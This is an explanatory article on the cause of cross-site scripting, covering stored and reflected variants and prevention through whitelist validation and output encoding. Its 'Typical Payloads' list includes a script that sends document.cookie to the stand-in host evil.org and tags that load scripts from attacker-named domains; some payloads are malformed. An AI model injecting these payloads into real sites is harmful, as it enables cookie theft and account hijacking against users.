The Cause of Cross-Site Scripting

Cross-Site Scripting:

Cross-site script (also known as XSS or CSS) vulnerabilities occur whenever one user input is passed back to the browser without adequate validation, sanitization or encoding. Simply XSS occurs when dynamically generated web pages display user input that is not properly validated, enabling an attacker to inject malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable page and execute the script on the machine of any user that views that site in order to gather data from them. In general, XSS exploits enable attackers to take arbitrary actions on the vulnerable site on the victim's behalf. In the worst-case scenario, an attacker can use XSS to seize remote control of the victim's computer.

An attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Users may unintentionally execute scripts written by an attacker when they follow links in unknown sources, either in web pages, instant messages, e-mail messages, newsgroup postings, etc., The end user’s browser has no way to know that the script should not be trusted, and will execute the script as thinking it came from a trusted source.

The malicious script can access any cookies, session tokens, or other sensitive information retained by end user’s browser and used with that site. These scripts can even rewrite the content of the HTML page. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible with XSS. Because the malicious scripts use the targeted site to hide their origins, the attacker has full access to the retrieved web page and may send data contained in the page back to their own server. Scripting tags that are most often used to embed malicious content include <script>, <object>, <applet>, <form> and <embed>. However, it is important to note that alternative “in-line” scripting elements may be used and interpreted by the current generation of web browsers, such as javascript:alert('Oops Hacked').

Attackers frequently use a variety of methods to encode the malicious portion of the tag to bypass filters and validation techniques that use a black list approach. There are hundreds of variants of these attacks, including versions that do not even require any < > symbols for example If a web page uses the UFT-7 character encoding, there are several different strings which will act as a ‘<’ character and start an HTML tag; So, don’t depend on black list approach to validate the user input or don’t depend only on escaping/filtering/encoding few malicious characters.

XSS attacks can generally be categorized into two categories:

Persistent/Direct attacks: In this the injected code is permanently stored on the target servers, such as in a database. The victim then retrieves the malicious script from the server when it requests the stored information.
Non-Persistent/Indirect attacks: In this the injected code is reflected off the web server, such as any response that includes some or all of the input sent to the server as part of the request. The attacker supplies the victim with a URL or HTML form which contains malicious script. The victim's browser passes the malicious script to the vulnerable site, which replays it to the victim's browser.
In both cases, the script is executed in the trust context of the vulnerable site.

For example:

A vulnerable site is having a search page accepts requests and then displays the results of the search criteria the user entered. If a user typed “abcdefghxyz” as the search criteria, the server may return that the input is invalid or No value is found for abcdefghxyz. This may seem good and harmless in this case. But suppose the user types in "<Script>alert('Oops Hacked');</Script>” and server returns “No value is found for <Script>alert('Oops Hacked');</Script> to the browser.” Here, if the user input is not encoded or validated then the client’s web browser will interpret the script tags and execute the alert (‘Oops Hacked’) function resulting a message box with “Oops Hacked” message. If so, this page is probably susceptible to a XSS attack. This is a common method attackers use to find vulnerable sites.

Typical Payloads:

<img src = "malicious.js">
<Script>alert('hacked')</script>
<iframe = "malicious.js"> ... </iframe>
<Script>document.write('<img src="http://evil.org/'+document.cookie+'") </script>
<a href="javascript:…"> click-me </a>
<EMBED SRC="http://www.xsshacker.com/movies/porn.mov">
<A HREF="http://Originalsite.com/search.asp?criteria=<SCRIPT SRC= 'http://xsshackers.com/badscript.js'> </SCRIPT>"> Home </A>
<A HREF="" [event]='code'">Go</A>
<img src="&{alert('Oops Hacked')};">
http://Originalsite.com/search.asp?query=%26%7balert%28%27OopsHacked %27%29%7d%3b
<EMBED src="http://xsshackers.com/maliciousflash.swf" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100" height="100"> </EMBED>

Prevention:

The ideal defense against cross-site script employs a combination of input validation and output encoding. Use regular expressions to validate the input using a white list approach to allow only acceptable character set, type, format and length. Use proper encoding before echoing the user input back to the browser. Output encoding is only useful for defeating XSS attacks, whereas input validation can defeat many other attacks. Therefore, take advantage of both techniques, following the principle of defensive design.

Microsoft released a free library called the AntiXss Library that makes output encoding more secure and supports more output contexts than just HTML. So, instead of using weak encoding methods use this library to protect your application from XSS. You can download AntiXss library from the below site:

http://www.microsoft.com/downloads/details.aspx?familyid=9a2b9c92-7ad9-496c-9a89-af08de2e5982&displaylang=en.